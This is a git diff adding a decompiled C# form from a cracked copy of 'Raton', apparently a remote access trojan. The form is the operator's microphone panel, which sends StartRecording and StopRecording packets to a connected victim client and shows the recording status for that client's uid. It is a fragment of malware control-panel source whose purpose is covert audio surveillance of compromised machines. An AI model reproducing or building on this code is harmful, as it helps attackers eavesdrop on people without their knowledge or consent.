initial commit
This commit is contained in:
@@ -0,0 +1,139 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Audio.ratonMicrophone
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using DarkModeForms;
|
||||
using Raton.Classes;
|
||||
using Raton.Properties;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Audio;
|
||||
|
||||
public class ratonMicrophone : Form
|
||||
{
|
||||
public bool isRecording;
|
||||
private IContainer components;
|
||||
private Button button1;
|
||||
private Timer timer1;
|
||||
public Label label1;
|
||||
public FlatProgressBar flatProgressBar1;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonMicrophone()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void ratonMicrophone_Load(object sender, EventArgs e)
|
||||
{
|
||||
this.label1.Text = $"Recording audio from {this.SillyClient.uid} | Size: 0kb | KBPS: 0";
|
||||
this.timer1.Start();
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
AudioPlayer.Remove(this.SillyClient.uid);
|
||||
}
|
||||
|
||||
private void button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (!this.isRecording)
|
||||
{
|
||||
this.label1.Text = "Starting...";
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "StartRecording");
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
this.isRecording = true;
|
||||
}
|
||||
else
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "StopRecording");
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
this.isRecording = false;
|
||||
AudioPlayer.Remove(this.SillyClient.uid);
|
||||
this.flatProgressBar1.Value = 0;
|
||||
}
|
||||
}
|
||||
|
||||
private void ratonMicrophone_FormClosing(object sender, FormClosingEventArgs e)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "StopRecording");
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
AudioPlayer.Remove(this.SillyClient.uid);
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonMicrophone));
|
||||
this.button1 = new Button();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.flatProgressBar1 = new FlatProgressBar();
|
||||
this.label1 = new Label();
|
||||
this.SuspendLayout();
|
||||
this.button1.BackgroundImage = (Image) Resources.record;
|
||||
this.button1.BackgroundImageLayout = ImageLayout.Zoom;
|
||||
this.button1.Location = new Point(15, 33);
|
||||
this.button1.Name = "button1";
|
||||
this.button1.Size = new Size(33, 32 /*0x20*/);
|
||||
this.button1.TabIndex = 0;
|
||||
this.button1.Text = " ";
|
||||
this.button1.UseVisualStyleBackColor = true;
|
||||
this.button1.Click += new EventHandler(this.button1_Click);
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.flatProgressBar1.BackColor = SystemColors.WindowFrame;
|
||||
this.flatProgressBar1.Location = new Point(54, 33);
|
||||
this.flatProgressBar1.Name = "flatProgressBar1";
|
||||
this.flatProgressBar1.ProgressBarColor = Color.Green;
|
||||
this.flatProgressBar1.Size = new Size(413, 29);
|
||||
this.flatProgressBar1.TabIndex = 1;
|
||||
this.label1.AutoSize = true;
|
||||
this.label1.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.label1.Location = new Point(16 /*0x10*/, 14);
|
||||
this.label1.Name = "label1";
|
||||
this.label1.Size = new Size(333, 16 /*0x10*/);
|
||||
this.label1.TabIndex = 2;
|
||||
this.label1.Text = "Recording audio from Raton_1234567 | Size: 0kb | KBPS: 0";
|
||||
this.AutoScaleDimensions = new SizeF(5f, 14f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.BackColor = SystemColors.ButtonFace;
|
||||
this.ClientSize = new Size(479, 82);
|
||||
this.Controls.Add((Control) this.flatProgressBar1);
|
||||
this.Controls.Add((Control) this.button1);
|
||||
this.Controls.Add((Control) this.label1);
|
||||
this.Font = new Font("Microsoft JhengHei", 6.75f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.Margin = new Padding(2, 3, 2, 3);
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonMicrophone);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonMicrophone);
|
||||
this.FormClosing += new FormClosingEventHandler(this.ratonMicrophone_FormClosing);
|
||||
this.Load += new EventHandler(this.ratonMicrophone_Load);
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user